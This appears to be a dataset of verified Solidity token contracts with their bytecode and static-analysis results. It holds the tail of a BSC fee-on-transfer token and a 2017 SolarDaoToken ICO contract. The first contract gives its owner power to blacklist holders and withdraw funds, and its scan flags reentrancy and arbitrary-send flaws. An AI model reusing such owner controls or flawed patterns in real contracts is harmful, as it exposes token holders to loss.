router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
lpRecipient,
block.timestamp
);
}
function swapTokensForBNB(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function startTrading() external onlyOwner{
require(!tradingActive, "Trading already active");
tradingActive = true;
swapEnabled = true;
}
function updateMarketingWallet(address _marketingWallet) external onlyOwner{
marketingWallet = _marketingWallet;
}
function updateLpRecipient(address newAddress) external onlyOwner{
lpRecipient = newAddress;
}
function updateMaxTxAmount(uint256 amount) external onlyOwner{
maxTxAmount = amount * 10**_decimals;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
//Thanks Freezy
router = IRouter(newRouter);
pair = newPair;
}
function setIsBot(address user, bool state) external onlyOwner{
isBot[user] = state;
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
payable(msg.sender).transfer(weiAmount);
}
// Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake)
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
} | 0x60806040526004361061026b5760003560e01c8063715018a611610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e146107c5578063e2f456051461080b578063e9dae5ed14610821578063ea2f0b3714610841578063f2fde38b14610861578063f887ea401461088157600080fd5b8063a9059cbb14610726578063aacebbe314610746578063bbc0c74214610766578063cdb3858f14610785578063d257b34f146107a557600080fd5b80638da5cb5b116101085780638da5cb5b1461065b578063924de9b71461067957806395d89b41146106995780639ba5e4d5146106c7578063a457c2d7146106e6578063a8aa1b311461070657600080fd5b8063715018a61461059d578063728f8eea146105b257806375f0a874146105ec57806388f820201461060c5780638c0b5e221461064557600080fd5b806340b28c2f116101dd57806347c23092116101a157806347c23092146104ca57806352390c02146104ea5780635342acb41461050a5780636256d181146105435780636ddd17131461056357806370a082311461057d57600080fd5b806340b28c2f14610412578063437823ec14610432578063441b1d3014610452578063452e68dd146104725780634549b039146104aa57600080fd5b8063293230b81161022f578063293230b8146103515780632d83811914610366578063313ce567146103865780633685d419146103a257806339509351146103c25780633bbac579146103e257600080fd5b806303c0f5d41461027757806306fdde0314610299578063095ea7b3146102e257806318160ddd1461031257806323b872dd1461033157600080fd5b3661027257005b600080fd5b34801561028357600080fd5b506102976102923660046124f9565b6108a8565b005b3480156102a557600080fd5b5060408051808201909152600e81526d14dd1c99585b595c9cc8119d5b9960921b60208201525b6040516102d99190612532565b60405180910390f35b3480156102ee57600080fd5b506103026102fd366004612587565b610906565b60405190151581526020016102d9565b34801561031e57600080fd5b50600a545b6040519081526020016102d9565b34801561033d57600080fd5b5061030261034c3660046125b3565b61091d565b34801561035d57600080fd5b506102976109cf565b34801561037257600080fd5b506103236103813660046125f4565b610a5b565b34801561039257600080fd5b50604051600981526020016102d9565b3480156103ae57600080fd5b506102976103bd36600461260d565b610adf565b3480156103ce57600080fd5b506103026103dd366004612587565b610c96565b3480156103ee57600080fd5b506103026103fd36600461260d565b60066020526000908152604090205460ff1681565b34801561041e57600080fd5b5061029761042d36600461262a565b610ccd565b34801561043e57600080fd5b5061029761044d36600461260d565b610d33565b34801561045e57600080fd5b5061029761046d3660046125f4565b610d81565b34801561047e57600080fd5b50600f54610492906001600160a01b031681565b6040516001600160a01b0390911681526020016102d9565b3480156104b657600080fd5b506103236104c5366004612658565b610e28565b3480156104d657600080fd5b506102976104e53660046125b3565b610eb2565b3480156104f657600080fd5b5061029761050536600461260d565b610f55565b34801561051657600080fd5b5061030261052536600461260d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561054f57600080fd5b5061029761055e3660046125f4565b6110a8565b34801561056f57600080fd5b506008546103029060ff1681565b34801561058957600080fd5b5061032361059836600461260d565b6110ee565b3480156105a957600080fd5b5061029761114d565b3480156105be57600080fd5b506010546011546012546105d192919083565b604080519384526020840192909252908201526060016102d9565b3480156105f857600080fd5b50600e54610492906001600160a01b031681565b34801561061857600080fd5b5061030261062736600461260d565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561065157600080fd5b50610323600d5481565b34801561066757600080fd5b506000546001600160a01b0316610492565b34801561068557600080fd5b5061029761069436600461267d565b611183565b3480156106a557600080fd5b5060408051808201909152600581526414d195539160da1b60208201526102cc565b3480156106d357600080fd5b506013546014546015546105d192919083565b3480156106f257600080fd5b50610302610701366004612587565b6111c0565b34801561071257600080fd5b50600954610492906001600160a01b031681565b34801561073257600080fd5b50610302610741366004612587565b61125b565b34801561075257600080fd5b5061029761076136600461260d565b611268565b34801561077257600080fd5b5060085461030290610100900460ff1681565b34801561079157600080fd5b506102976107a036600461260d565b6112b4565b3480156107b157600080fd5b506102976107c03660046125f4565b611300565b3480156107d157600080fd5b506103236107e036600461262a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561081757600080fd5b50610323600c5481565b34801561082d57600080fd5b5061029761083c36600461269a565b611346565b34801561084d57600080fd5b5061029761085c36600461260d565b611396565b34801561086d57600080fd5b5061029761087c36600461260d565b6113e1565b34801561088d57600080fd5b5060085461049290630100000090046001600160a01b031681565b6000546001600160a01b031633146108db5760405162461bcd60e51b81526004016108d2906126c6565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600061091333848461147c565b5060015b92915050565b600061092a8484846115a0565b506001600160a01b0384166000908152600360209081526040808320338452909152902054828110156109b05760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108d2565b6109c485336109bf8685612711565b61147c565b506001949350505050565b6000546001600160a01b031633146109f95760405162461bcd60e51b81526004016108d2906126c6565b600854610100900460ff1615610a4a5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108d2565b6008805461ffff1916610101179055565b6000600b54821115610ac25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016108d2565b6000610acc611953565b9050610ad88184612728565b9392505050565b6000546001600160a01b03163314610b095760405162461bcd60e51b81526004016108d2906126c6565b6001600160a01b03811660009081526005602052604090205460ff16610b715760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c7564656400000000000000000060448201526064016108d2565b60005b600754811015610c9257816001600160a01b031660078281548110610b9b57610b9b61274a565b6000918252602090912001546001600160a01b03161415610c805760078054610bc690600190612711565b81548110610bd657610bd661274a565b600091825260209091200154600780546001600160a01b039092169183908110610c0257610c0261274a565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600590925220805460ff191690556007805480610c5a57610c5a612760565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610c8a81612776565b915050610b74565b5050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916109139185906109bf908690612791565b6000546001600160a01b03163314610cf75760405162461bcd60e51b81526004016108d2906126c6565b600880546301000000600160b81b03191663010000006001600160a01b0394851602179055600980546001600160a01b03191691909216179055565b6000546001600160a01b03163314610d5d5760405162461bcd60e51b81526004016108d2906126c6565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610dab5760405162461bcd60e51b81526004016108d2906126c6565b80471015610dfb5760405162461bcd60e51b815260206004820152601860248201527f696e73756666696369656e7420424e422062616c616e6365000000000000000060448201526064016108d2565b604051339082156108fc029083906000818181858888f19350505050158015610c92573d6000803e3d6000fd5b6000600a54831115610e7c5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016108d2565b81610e98576000610e8e846000611976565b5191506109179050565b6000610ea5846001611976565b6020015191506109179050565b6000546001600160a01b03163314610edc5760405162461bcd60e51b81526004016108d2906126c6565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015610f2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4f91906127a9565b50505050565b6000546001600160a01b03163314610f7f5760405162461bcd60e51b81526004016108d2906126c6565b6001600160a01b03811660009081526005602052604090205460ff1615610fe85760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016108d2565b6001600160a01b03811660009081526001602052604090205415611042576001600160a01b03811660009081526001602052604090205461102890610a5b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600560205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b031633146110d25760405162461bcd60e51b81526004016108d2906126c6565b6110de6009600a6128aa565b6110e890826128b9565b600d5550565b6001600160a01b03811660009081526005602052604081205460ff161561112b57506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461091790610a5b565b6000546001600160a01b031633146111775760405162461bcd60e51b81526004016108d2906126c6565b61118160006119b9565b565b6000546001600160a01b031633146111ad5760405162461bcd60e51b81526004016108d2906126c6565b6008805460ff1916911515919091179055565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156112425760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108d2565b61125133856109bf8685612711565b5060019392505050565b60006112513384846115a0565b6000546001600160a01b031633146112925760405162461bcd60e51b81526004016108d2906126c6565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112de5760405162461bcd60e51b81526004016108d2906126c6565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461132a5760405162461bcd60e51b81526004016108d2906126c6565b6113366009600a6128aa565b61134090826128b9565b600c5550565b6000546001600160a01b031633146113705760405162461bcd60e51b81526004016108d2906126c6565b604080516060810182528481526020810184905201819052601092909255601155601255565b6000546001600160a01b031633146113c05760405162461bcd60e51b81526004016108d2906126c6565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b0316331461140b5760405162461bcd60e51b81526004016108d2906126c6565b6001600160a01b0381166114705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d2565b611479816119b9565b50565b6001600160a01b0383166114de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108d2565b6001600160a01b03821661153f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108d2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166116065760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108d2565b6001600160a01b0383166116685760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108d2565b600082116116ca5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108d2565b6116d3846110ee565b82111561173c5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108d2565b6001600160a01b03841660009081526006602052604090205460ff1615801561177e57506001600160a01b03831660009081526006602052604090205460ff16155b6117c05760405162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b60448201526064016108d2565b6001600160a01b03841660009081526004602052604090205460ff1615801561180257506001600160a01b03831660009081526004602052604090205460ff16155b1561185957600d548211156118595760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e7420697320657863656564696e67206d61785478416d6f756e740060448201526064016108d2565b6000600c54611867306110ee565b600854911115915062010000900460ff16158015611887575060085460ff165b80156118905750805b80156118aa57506009546001600160a01b03868116911614155b80156118cf57506001600160a01b03851660009081526004602052604090205460ff16155b80156118f457506001600160a01b03841660009081526004602052604090205460ff16155b1561190457611904600c54611a09565b6001600160a01b0385166000908152600460205260409020546109c49086908690869060ff168061194d57506001600160a01b03881660009081526004602052604090205460ff165b15611b0f565b6000806000611960611db4565b909250905061196f8183612728565b9250505090565b61197e61248a565b6119888383611f37565b905061199d818484611998611953565b611fe3565b6080860152606085015260408401526020830152815292915050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6008805462ff0000191662010000179055601154601254600091611a2c91612791565b611a379060026128b9565b905060008160106002015484611a4d91906128b9565b611a579190612728565b90506000611a658285612711565b905047611a7182612070565b6000611a7d8247612711565b601254909150600090611a909087612711565b611a9a9083612728565b601254909150600090611aad90836128b9565b90508015611abf57611abf86826121f1565b601154600090611ad08460026128b9565b611ada91906128b9565b90508015611af857600e54611af8906001600160a01b0316826122ac565b50506008805462ff00001916905550505050505050565b6000611b1b8383611976565b6001600160a01b03861660009081526005602052604090205490915060ff1615611b7d576001600160a01b038516600090815260026020526040902054611b63908490612711565b6001600160a01b0386166000908152600260205260409020555b6001600160a01b03841660009081526005602052604090205460ff1615611be05760a08101516001600160a01b038516600090815260026020526040902054611bc69190612791565b6001600160a01b0385166000908152600260205260409020555b80516001600160a01b038616600090815260016020526040902054611c059190612711565b6001600160a01b0380871660009081526001602090815260408083209490945584015191871681529190912054611c3c9190612791565b6001600160a01b0385166000908152600160205260409081902091909155810151151580611c6e575060008160c00151115b15611c8557611c8581604001518260c001516123ca565b600081608001511180611c9d57506000816101000151115b15611cb557611cb581608001518261010001516123ff565b600081606001511180611ccc575060008160e00151115b15611ce357611ce381606001518260e00151612475565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a00151604051611d2c91815260200190565b60405180910390a360008160e00151826101000151611d4b9190612791565b1115611dad57306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360e00151846101000151611d9b9190612791565b60405190815260200160405180910390a35b5050505050565b600b54600a546000918291825b600754811015611f0657826001600060078481548110611de357611de361274a565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611e4e5750816002600060078481548110611e2757611e2761274a565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611e6457600b54600a54945094505050509091565b6001600060078381548110611e7b57611e7b61274a565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611eaa9084612711565b92506002600060078381548110611ec357611ec361274a565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611ef29083612711565b915080611efe81612776565b915050611dc1565b50600a54600b54611f179190612728565b821015611f2e57600b54600a549350935050509091565b90939092509050565b611f3f61248a565b81611f505760a08101839052610917565b601054606490611f6090856128b9565b611f6a9190612728565b60c0820152601154606490611f7f90856128b9565b611f899190612728565b60e0820152601254606490611f9e90856128b9565b611fa89190612728565b610100820181905260e082015160c0830151611fc49086612711565b611fce9190612711565b611fd89190612711565b60a082015292915050565b600080808080611ff386896128b9565b94508661200b57508392506000915081905080612065565b858960c0015161201b91906128b9565b9250858960e0015161202d91906128b9565b91508589610100015161204091906128b9565b9050808261204e8588612711565b6120589190612711565b6120629190612711565b93505b945094509450945094565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120a5576120a561274a565b60200260200101906001600160a01b031690816001600160a01b031681525050600860039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612118573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061213c91906128d8565b8160018151811061214f5761214f61274a565b6001600160a01b03928316602091820292909201015260085461217c91309163010000009004168461147c565b60085460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906121bb9085906000908690309042906004016128f5565b600060405180830381600087803b1580156121d557600080fd5b505af11580156121e9573d6000803e3d6000fd5b505050505050565b600854612210903090630100000090046001600160a01b03168461147c565b600854600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a48201526301000000909204169063f305d71990839060c40160606040518083038185885af1158015612287573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611dad9190612966565b804710156122fc5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108d2565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612349576040519150601f19603f3d011682016040523d82523d6000602084013e61234e565b606091505b50509050806123c55760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108d2565b505050565b81600b60008282546123dc9190612711565b9091555050601380548291906000906123f6908490612791565b90915550505050565b80601360020160008282546124149190612791565b90915550503060009081526005602052604090205460ff1615612456573060009081526002602052604081208054839290612450908490612791565b90915550505b30600090815260016020526040812080548492906123f6908490612791565b80601360010160008282546124149190612791565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6001600160a01b038116811461147957600080fd5b801515811461147957600080fd5b6000806040838503121561250c57600080fd5b8235612517816124d6565b91506020830135612527816124eb565b809150509250929050565b600060208083528351808285015260005b8181101561255f57858101830151858201604001528201612543565b81811115612571576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561259a57600080fd5b82356125a5816124d6565b946020939093013593505050565b6000806000606084860312156125c857600080fd5b83356125d3816124d6565b925060208401356125e3816124d6565b929592945050506040919091013590565b60006020828403121561260657600080fd5b5035919050565b60006020828403121561261f57600080fd5b8135610ad8816124d6565b6000806040838503121561263d57600080fd5b8235612648816124d6565b91506020830135612527816124d6565b6000806040838503121561266b57600080fd5b823591506020830135612527816124eb565b60006020828403121561268f57600080fd5b8135610ad8816124eb565b6000806000606084860312156126af57600080fd5b505081359360208301359350604090920135919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015612723576127236126fb565b500390565b60008261274557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b600060001982141561278a5761278a6126fb565b5060010190565b600082198211156127a4576127a46126fb565b500190565b6000602082840312156127bb57600080fd5b8151610ad8816124eb565b600181815b808511156128015781600019048211156127e7576127e76126fb565b808516156127f457918102915b93841c93908002906127cb565b509250929050565b60008261281857506001610917565b8161282557506000610917565b816001811461283b576002811461284557612861565b6001915050610917565b60ff841115612856576128566126fb565b50506001821b610917565b5060208310610133831016604e8410600b8410161715612884575081810a610917565b61288e83836127c6565b80600019048211156128a2576128a26126fb565b029392505050565b6000610ad860ff841683612809565b60008160001904831182151516156128d3576128d36126fb565b500290565b6000602082840312156128ea57600080fd5b8151610ad8816124d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156129455784516001600160a01b031683529383019391830191600101612920565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561297b57600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212201764eccd0ab997691b52ccdb628cff56f0858e338af8f536acb8e9823881b87764736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,323 |
0x646cec6ee42d258336165cbbd5deb4af14f0f476 | pragma solidity ^0.4.13;
/// @title Ownable contract - base contract with an owner
/// @author <span class="__cf_email__" data-cfemail="a1c5c4d7e1d2ccc0d3d5c2cecfd5d3c0c2d5c4c0cc8fc2cecc">[email protected]</span>
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Haltable contract - abstract contract that allows children to implement an emergency stop mechanism.
/// @author <span class="__cf_email__" data-cfemail="4723223107342a263533242829333526243322262a6924282a">[email protected]</span>
/// Originally envisioned in FirstBlood ICO contract.
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
/// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
/// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
/// @title ERC20 interface see https://github.com/ethereum/EIPs/issues/20
/// @author <span class="__cf_email__" data-cfemail="f89c9d8eb88b95998a8c9b97968c8a999b8c9d9995d69b9795">[email protected]</span>
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function mint(address receiver, uint amount);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/// @title SafeMath contract - math operations with safety checks
/// @author <span class="__cf_email__" data-cfemail="482c2d3e083b25293a3c2b27263c3a292b3c2d2925662b2725">[email protected]</span>
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
require(assertion);
}
}
/// @title SolarDaoToken contract - standard ERC20 token with Short Hand Attack and approve() race condition mitigation.
/// @author <span class="__cf_email__" data-cfemail="4e2a2b380e3d232f3c3a2d21203a3c2f2d3a2b2f23602d2123">[email protected]</span>
contract SolarDaoToken is SafeMath, ERC20, Ownable {
string public name = "Solar DAO Token";
string public symbol = "SDAO";
uint public decimals = 4;
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public crowdsaleAgent;
/// A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.
bool public released = false;
/// approve() allowances
mapping (address => mapping (address => uint)) allowed;
/// holder balances
mapping(address => uint) balances;
/// @dev Limit token transfer until the crowdsale is over.
modifier canTransfer() {
if(!released) {
require(msg.sender == crowdsaleAgent);
}
_;
}
/// @dev The function can be called only before or after the tokens have been releasesd
/// @param _released token transfer and mint state
modifier inReleaseState(bool _released) {
require(_released == released);
_;
}
/// @dev The function can be called only by release agent.
modifier onlyCrowdsaleAgent() {
require(msg.sender == crowdsaleAgent);
_;
}
/// @dev Fix for the ERC20 short address attack http://vessenes.com/the-erc20-short-address-attack-explained/
/// @param size payload size
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
/// @dev Make sure we are not done yet.
modifier canMint() {
require(!released);
_;
}
/// @dev Constructor
function SolarDaoToken() {
owner = msg.sender;
}
/// Fallback method will buyout tokens
function() payable {
revert();
}
/// @dev Create new tokens and allocate them to an address. Only callably by a crowdsale contract
/// @param receiver Address of receiver
/// @param amount Number of tokens to issue.
function mint(address receiver, uint amount) onlyCrowdsaleAgent canMint public {
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Transfer(0, receiver, amount);
}
/// @dev Set the contract that can call release and make the token transferable.
/// @param _crowdsaleAgent crowdsale contract address
function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner inReleaseState(false) public {
crowdsaleAgent = _crowdsaleAgent;
}
/// @dev One way function to release the tokens to the wild. Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached).
function releaseTokenTransfer() public onlyCrowdsaleAgent {
released = true;
}
/// @dev Tranfer tokens to address
/// @param _to dest address
/// @param _value tokens amount
/// @return transfer result
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
/// @dev Tranfer tokens from one address to other
/// @param _from source address
/// @param _to dest address
/// @param _value tokens amount
/// @return transfer result
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
/// @dev Tokens balance
/// @param _owner holder address
/// @return balance amount
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
/// @dev Approve transfer
/// @param _spender holder address
/// @param _value tokens amount
/// @return result
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require ((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Token allowance
/// @param _owner holder address
/// @param _spender spender address
/// @return remain amount
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
} | 0x606060405236156100e35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f0578063095ea7b31461017b5780630b7d6320146101b157806318160ddd146101e057806323b872dd14610205578063313ce5671461024157806334103ee41461026657806340c10f19146102875780635f412d4f146102ab57806370a08231146102c05780638da5cb5b146102f157806395d89b411461032057806396132521146103ab578063a9059cbb146103d2578063dd62ed3e14610408578063f2fde38b1461043f575b6100ee5b600080fd5b565b005b34156100fb57600080fd5b610103610460565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101405780820151818401525b602001610127565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018657600080fd5b61019d600160a060020a03600435166024356104fe565b604051901515815260200160405180910390f35b34156101bc57600080fd5b6101c46105a5565b604051600160a060020a03909116815260200160405180910390f35b34156101eb57600080fd5b6101f36105b4565b60405190815260200160405180910390f35b341561021057600080fd5b61019d600160a060020a03600435811690602435166044356105ba565b604051901515815260200160405180910390f35b341561024c57600080fd5b6101f3610702565b60405190815260200160405180910390f35b341561027157600080fd5b6100ee600160a060020a0360043516610708565b005b341561029257600080fd5b6100ee600160a060020a036004351660243561076c565b005b34156102b657600080fd5b6100ee610828565b005b34156102cb57600080fd5b6101f3600160a060020a036004351661086b565b60405190815260200160405180910390f35b34156102fc57600080fd5b6101c461088a565b604051600160a060020a03909116815260200160405180910390f35b341561032b57600080fd5b610103610899565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101405780820151818401525b602001610127565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b657600080fd5b61019d610937565b604051901515815260200160405180910390f35b34156103dd57600080fd5b61019d600160a060020a0360043516602435610947565b604051901515815260200160405180910390f35b341561041357600080fd5b6101f3600160a060020a0360043581169060243516610a40565b60405190815260200160405180910390f35b341561044a57600080fd5b6100ee600160a060020a0360043516610a6d565b005b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b505050505081565b60008115806105305750600160a060020a03338116600090815260066020908152604080832093871683529290522054155b151561053b57600080fd5b600160a060020a03338116600081815260066020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600554600160a060020a031681565b60005481565b600080604060443610156105cd57600080fd5b60055460a060020a900460ff1615156105fb5760055433600160a060020a039081169116146105fb57600080fd5b5b600160a060020a03808716600090815260066020908152604080832033851684528252808320549389168352600790915290205490925061063d9085610ac5565b600160a060020a03808716600090815260076020526040808220939093559088168152205461066c9085610aed565b600160a060020a03871660009081526007602052604090205561068f8285610aed565b600160a060020a03808816600081815260066020908152604080832033861684529091529081902093909355908716917fddf252ad1be2c89b